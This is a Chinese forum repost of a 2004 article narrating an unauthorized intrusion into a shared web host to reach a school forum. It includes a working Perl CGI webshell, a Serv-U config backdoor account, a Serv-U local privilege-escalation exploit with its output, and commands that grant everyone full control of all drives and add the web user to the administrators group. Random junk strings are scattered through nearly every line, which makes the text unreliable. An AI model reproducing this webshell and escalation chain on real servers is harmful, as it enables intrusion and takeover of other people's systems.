找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2104|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
% _' p% _1 z+ B7 d9 ^本文作者:angel
6 \! S+ A, {7 f7 C1 R, x# M; M* n文章性质:原创
, N/ J  `# a* }6 A发布日期:2004-11-09
6 @+ R5 P' M3 d/ B8 v; j6 R  E注意:2 P8 R+ o6 R3 ~% P4 f" G
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。  V4 M2 ]1 `5 t( O: {" Z) e) h
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
6 U) P$ ~' J8 r
( g/ U7 u+ i  {) X  S( d0 T7 w  M  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 $ W+ Y4 i; p# ^$ F) u

9 D+ J$ b: X2 R$ {  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 4 G+ l. |) i' M  \
# K' o/ E3 V  n8 G
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
8 {# D: n- ?( ?5 V! w5 C) ~0 B, L6 y. ~2 R
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 " Y% x+ \; g4 w' Y+ `5 X8 X
0 O3 s/ h8 x+ Z/ h
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 . {) G* H% ~0 J2 D9 r  s- O
& ]/ ~. a2 o! N3 [# y
  没有目的的跳转目录着……
3 i8 A' \' f3 ^: E1 W1 g: k7 w6 ^
0 y! q# ]5 Y5 q$ Q8 m5 |  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 0 p; T# ~3 P/ ?* x

0 |2 Q& c$ c4 i4 p! g$ {! x6 h5 D$ k  结束了吗?不,我试着 FTP 一下:
5 O  `5 w  o* y+ I$ v8 O
$ j1 Q  W# k* r( UMicrosoft Windows 2000 [Version 5.00.2195]5 {( @' B9 B9 z$ e" C8 S% C
(C) 版权所有 1985-2000 Microsoft Corp.
! m" o5 Q( L/ O" g  a' ?9 x: q2 T8 d6 b$ k
C:\Documents and Settings\Administrator>ftp www.school.com* e! T! W* U" H$ D6 P: X! P/ i/ I
Connected to www. school.com.
1 p0 ]! Z! v4 E* J3 s220 Welcome to FTP Server... / _4 ]; ?5 d- X0 _9 o5 B  z- f0 ]) V
User (www.bjtrq.com:(none)): % @. S8 K: J3 N8 [8 N) C
331 User name okay, need password.
& l& F- L" q! ?! u% ^Password:
1 N; B0 w- p0 m! ?: t9 [530 Not logged in. & l2 Q) O/ H* B. s& s# }/ ]
Login failed. 4 {" F) t8 _  o7 k
ftp> bye
! _' \, S8 H7 Z& v( t+ |/ U" U221 Goodbye!
" L( v9 }% C5 q. Y . U0 d/ {% `0 X3 ^8 O% g- @+ M9 l( L

, h& b3 r0 P( U% L& |( p  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 8 i2 ~  d, s8 m$ [# O" |% k
" G% J, ^" w  e& M
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 6 D0 w! m1 K% |- p

% [  S; s/ z7 \# H  N5 WApplication Data0 r$ n2 c4 i0 H: I: T3 ^; O: p
Documents
7 [7 d; Y; }5 Y' D! |DRM
6 c$ p/ F# v& ]& j6 E6 \' H: _4 SFavorites
1 ?2 X, R% Q3 t2 h$ ATemplates+ f- E, W! s+ C
「开始」菜单
5 `) |1 c- `+ r+ p% J3 j* @7 I( i& D桌面
9 H7 V8 Y# e) i
% t6 I3 L. M* H+ e9 {( I8 `
, ?3 A, A0 m) x) }5 M  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
. L$ I( C4 C" J
* |0 h7 t% C8 _ActiveState ActivePerl 5.8
8 @2 o7 d4 }, [Administrative Tools
4 Y+ r. Z, O/ g4 @/ o* f- M) d' M" O+ yDeerfield.com6 n* w) D) N: I% h$ @
DTemp( ?: Y% R9 `- e, c
IPSentry
+ x4 F5 _2 k. oMBM 5
, x/ i2 j4 n7 ]  L! dNetMeter% J- M. `: Q- e8 ]& k8 A* P
Network ICE( Z# z/ q' \6 `1 w
Persits Software AspEmail
) b& s. x7 J2 N9 H: `+ O+ n" LPersits Software AspJpeg8 R2 p' A7 r3 q' E
Serv-U FTP Server* }# u4 \& _5 e& q1 E0 l
Symantec Client Security# D! b- t/ f/ x3 ?: T) o3 Y4 h
Windows 优化大师" M5 H4 c' Z/ y8 Q0 I
WinRAR
" m. _  ^: l4 H# X* a# b  A启动
, @6 ]1 O. M& q/ |# M管理工具1 @' W9 ~# X4 ~, p" V: z; \6 V
附件
9 m, c. D) N+ d; r$ O4 ^ # M+ `; d# `0 e; Z, A3 l8 V

; N; _( |0 q: ]+ `' h! V- d  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 ) u3 T* K7 H- A0 i7 J
3 q" H+ E: f" h( j5 d! V6 ~
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
* `( l9 N+ X  h. X& W0 p
1 ~1 {$ G2 X' z3 Y+ TUser281=angel|1|0
/ {( ~! z% K- s+ ~  l9 U 5 E2 O* s" w- N+ a; r

+ ?3 \8 R) d/ J/ S  然后加上 8 w' B! X2 P8 v
/ Y' @' R$ H" {& y/ g
[USER=angel|1]
: Y8 R' y% t' z: ?9 B& QPassword=ng98F85379EA68DBF97BAADCA99B69B805, L$ V6 D3 G, _( g5 I( j
HomeDir=D:\websites
7 O4 c, V, ~5 G7 q0 Z3 J0 I- BRelPaths=1
; t* o7 |3 P( v& s# iTimeOut=600
  ?1 m- {3 r/ @Maintenance=System* A5 l( [# f1 U" \
Access1=D:\websites|RWAMELCDP
' h  i. S/ s9 YSKEYValues=/ S6 _! |2 g% q+ _7 C+ J

2 S" \& ~% G$ y7 \: L7 r( X, a' x
$ k% T, {2 E( o' W; F4 R0 G  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
: ?/ y" G5 W) B$ V0 `3 v1 h/ F! @# m! X2 [
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
& g2 `; t9 i6 o! @5 }' W
1 i  J9 ]- @3 ^( S# @  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
4 c# v6 O* s  l
1 X' ~. E4 b% ^  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: / r/ N* u4 E0 Y5 y$ [
6 k6 H9 \6 Z1 |( [" F/ [
#!/usr/bin/perl
0 B/ c4 j: h$ X) T4 [) Pbinmode(STDOUT);1 |- P0 r3 W7 L; W3 R) a
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
& b* M; P( j! `% R$_ = $ENV{QUERY_STRING};8 X- e/ ]" @. {: U
s/%20/ /ig;
! x' v2 e' g  W; {. C7 Q4 W/ d3 |s/%2f/\//ig;/ e" f. W( q0 v+ w5 C7 b
$execthis = $_;! `$ `. W. ?0 _* O# |; B& J5 U
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
8 a8 r: d$ P0 U3 j! V3 b) s6 {9 Yopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
$ u& K$ p2 b' o; J8 `  Ysystem($execthis);
6 `8 P, j! Y- xsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);. H& w$ q4 I3 L
close(STDERR);
" g0 @5 j5 S% ~- jclose(STDOUT);3 M: v' s: g9 c7 x1 C8 v) O8 K7 V
exit;
# r0 I8 H+ R  Q/ e- F1 B 0 r/ v( w# `  a% L& I

5 w, n. A. m$ Z  }" [) a  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
4 P! x0 e# W: p& m7 j+ r1 m- g, d& \3 x
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
: b! u+ g" |. l( j6 F  s" c
% H% |$ U# J5 u' v& k  ^http://anyhost//cmd.pl?d:\user\bin\su.exe & b) g0 q# V( ^8 a* J' a/ _5 k% R  U

" H2 e- J( R4 h# C
! m0 ?' {( z& y! v/ H8 o  返回:
; H3 n. h1 ?: k$ @" h  d9 G0 L" Z# }! ^- ?' i
Serv-u >3.x Local Exploit by xiaolu : U! [; Q& Q% e) _' b, _0 i
: T* b% s: x' e8 h" i
USAGE: serv-u.exe "command" + d% U% g# O! R1 r
  G/ w. \0 @( a! w+ }, u
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" ) C) F" w) L3 K

" Q+ S* s% ~* h7 k, O( D* W) Y' Z3 A8 @! w3 {3 u3 _( ~
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
0 U' ^+ {  x  o/ W4 j. c1 ^" S5 J$ P' |4 k6 n0 E4 }. x
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 3 o% h: m# Y: H3 k3 f5 _
! R  T7 a+ k$ J" \7 M
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
" b, l! N. _  m
: G+ U8 m( @' [0 Q8 thttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" ; ~9 U" h0 [# y( K0 L

5 s; S5 G$ V7 O3 U: Chttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
. B, o& h/ \4 R- p
0 J. L, `, g- X& e7 U
" W' l8 C; I+ J  返回下面的信息,就表示成功了!!! % \% G/ `, j8 |0 p
: O1 c1 H0 s6 V. [# R$ h5 o3 o8 ]
Serv-u >3.x Local Exploit by xiaolu
7 E: C$ b9 s5 @
5 }! ^7 w- o( K- G/ O% \' R<220 Serv-U FTP Server v5.2 for WinSock ready...
3 V' F! k0 m2 x0 o. r3 S6 x* B3 _& ~$ `1 C2 s" _
>USER LocalAdministrator 9 w8 }' t- p: z* m. l; Z* ?
9 H7 {) v8 L7 c$ f+ R5 t* F! g3 x. p0 n
<331 User name okay, need password.
9 d7 Z) v9 `& q# [1 J. o4 Y  l! A! D, V) K' P+ M0 B0 y' q  M$ \, x
******************************************************
6 k7 K* o! ~# ]2 f2 S! U# @$ P) y+ L3 g
/ \: K; t9 R1 b7 F0 N>PASS #l@$ak#.lk;0@P
* i$ O6 s/ }$ `. Z1 w; v4 P! _, P+ }5 N) C; u- m
<230 User logged in, proceed. ! B! ?8 U# C# b8 p
5 ?( `4 k; Q; f/ b
******************************************************
- f0 W. r. u) i1 b* t9 c- h% {& g$ k! H) w) v
>SITE MAINTENANCE
5 B. b5 b6 m" `$ t, ^5 u" z
4 B. F* F, P) X. _$ K+ r; R******************************************************
3 P0 l) W+ C( g: I
) L" ]2 y, d/ s7 v; F9 ][+] Creating New Domain... ) T* c$ S( l8 j6 C# h7 n

" p: X# |( X6 u# M2 t6 a1 {<200-DomainID=2
! D" v0 o& x  a" _- G
* B, w- @: a' L4 T<220 Domain settings saved
' ^7 }% l5 l/ P% ^, t8 A
6 [% X9 l# D8 m0 |" V6 Q/ C******************************************************
' c4 m. u; O& \9 X9 L
6 a; o, J" o9 s' g[+] Domain xl:2 Created / U: h6 U$ ^/ E/ X3 Q

  G& ~% E2 ]7 |' W/ a- U/ l, f% _[+] Creating Evil User
/ v8 f; v* m8 ?: E; S- ?' V" V8 O) c2 r5 v
<200-User=xl
3 k6 ~- @9 ^2 t7 {* W4 ?1 C5 X/ @* L+ t9 v, y7 |* o7 |- l# O; q% @
200 User settings saved
+ z$ W% T0 u4 Q( M5 ~' s4 o3 G# ^& b+ e5 p* F) h5 g+ E
****************************************************** / [& x$ g  ]5 W" w0 D6 V

% p( r& W* {2 Z$ U) e5 q; l[+] Now Exploiting... , i9 G7 {2 k* E8 D8 O' c. p4 c& \6 z! e

5 S5 a" F0 H$ V>USER xl 0 ~- ~" k* h. w8 ?) ~  `+ t

5 \' @8 g1 c( Y( R<331 User name okay, need password.
  _1 e6 X3 M* T* J! M
2 e% t& U) q2 {8 v( G! x****************************************************** & B; \: W. A1 _* [" J* W

' P; l$ X: x; e>PASS 111111 0 f' m9 v5 z2 N# b/ {7 |  a

# j8 [$ Q  g4 q8 l3 z  b. J7 [7 R<230 User logged in, proceed. ) |9 z+ T4 t+ b  i5 O
9 j" l2 K! ~& \4 j. w
****************************************************** 4 k6 ~# o" c8 b+ L* Y
# V# R& H: J& n! d# K/ q
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
1 K/ s" Y& J6 c" P8 a+ n. c
8 o8 R9 |7 ?( {: `5 d: v+ _<220 Domain deleted 6 o; o: r3 O6 u9 I5 h

6 C4 X  r7 }/ R8 B+ {******************************************************
2 k; `) ]! a6 S$ X9 \$ @( d$ c 2 a6 s( z( R8 |9 _
' D% A" V* V3 t  ]4 A4 X9 {
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: ( L) [- l; K3 D" d& b( R  v
5 J9 m' b0 g3 T4 p
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
6 R0 g. n/ S# {% ~7 `& g
, N6 ^% C' |4 V
1 A/ L- m% p, B2 x! W( M! E  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 9 E! D! v! r9 |$ q4 z# }
& D' n$ B2 W, C& q2 R: |
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
) y  A  m: {$ Z4 q. B
8 G: g) a) V) j( x  
1 E# T1 S& H2 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表